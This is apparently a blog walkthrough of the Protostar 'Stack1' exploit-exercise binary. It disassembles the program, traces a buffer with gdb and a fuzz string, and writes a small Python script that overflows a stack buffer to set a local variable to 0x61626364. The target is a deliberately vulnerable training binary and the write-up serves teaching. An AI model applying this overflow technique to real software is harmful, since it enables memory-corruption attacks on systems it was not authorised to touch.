Protostar - Stack 1
Conquering Stack1 at Protostar Machine
Hello , Today we will run Protostar machine and conquer the Stack1 binary.
This challenge requiring us to perform a stack overflow and override the next value in the buffer with specific value as we see later.
Challenge Overview
Step 1: Explore Binary
let,s run stack1 binary and see it,s behavoior
- We Found that the binary need an argument to work and after we run it with argument it run
- Take notice of that .
Step 2: Analysis
Disassemble stack1 binary
we can disassemble stack1 binary by objdump
1
objdump -M intel -d /opt/protostar/bin/stack1 | grep main -A 32
so let,s break this command line :
-Mstands for--disassembler-optionsi wantintelsyntax instead ofat&t-dstand for--disassemble- we grep
mainfrom the disassembled output becausemainas we know is the entrypoint for anyCprogram and first function executed from it.
objdump output:
Analysis:
Let,s break the output code from objdump:
- Function Prologue:
push ebpsave the base pointer.mov ebp, espset up new base pointer.and esp, 0xfffffff0align the stack.sub esp, 0x60allocate space for local variables.
- Conditional Check:
cmp DWORD PTR [ebp+0x8],0x1compare the value at[ebp+0x8]with0x1.jne 8048487 <main+0x23>jump to0x08048487if the comparison is not equal.
- Branches:
if the condition is not true , the program jumps to 0x08048487, else , it continues with the next instructions.
- Function Calls And Memory Operations:
call 8048388 <errx@plt>calls theerrxfunction.call 8048368 <strcpy@plt>calls thestrcpyfunction.call 8048378 <printf@plt>calls theprintffunction.
- Memory Comparisons:
mov eax,DWORD PTR [esp+0x5c]move value at pointeresp+0x5cand store it ineaxcmp eax, 0x61626364: Compare the value ineaxwith0x61626364.
- Conditional Jumps:
jne 0x80484c0<main+0x5c>: Jump to0x080484c0if the comparison is not equal.jmp 0x80484d5<main+0x71>: Jump to0x080484d5unconditionally.
- Function Epilogue:
leaveRestore the stack frame. it is short formov esp,ebpandpop ebpretReturn from the function.
Now we understand the flow of program :
- during run it first check argument provided and if no args provided it call errx with a error message which print it and exit
- argument provided will be copied to buffer
- check if
[esp+0x5c]==0x61626364then call puts,print then return and else call print only and return
[esp+0x5c] is interesting , we need to check to it when debugging
Step 3: Debugging
- first let,s write simple script for fuzz let,s call it
fuzz.py
~/fuzz.py :
1
2
fuzz="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
print(fuzz)
- now let,s debug
stack1binary useinggdb1
gdb /opt/protostar/bin/stack1
now let,s disassemble main, and break point at mov eax,ptr dword[esp+0x5c]
1 2
set disassembly-flavor intel disassemble main
now let,s breakpoint at 0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c] to get value at pointer esp+0x5c
1
break *0x080484a7
now let,s run our program stack1 with argument that contain our fuzzing value
1
run $(python ~/fuzz.py)
we can see value at pointer at esp+0x5c with :
1
x/wx $esp+0x5c
when we get value at pointer at $esp+0x5c we found it = 0x51515151
let,s get the ascii value of 0x51
so 0x51515151 represent QQQQ and we need to make esp+0x5c = 0x61626364 to make the cmp instruction work truthy
Step 4: Craft Solution
okay let,s update our script: ~/fuzz.py
1
2
3
fuzz="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP"
esp_plus_5c="\x64\x63\x62\x61" # represent 0x61626364 on little endian machines
print(fuzz+esp_plus_5c)
now run stack1 binary with our crafted solution:
1
/opt/protostar/bin/stack1 $(python ~/fuzz.py)





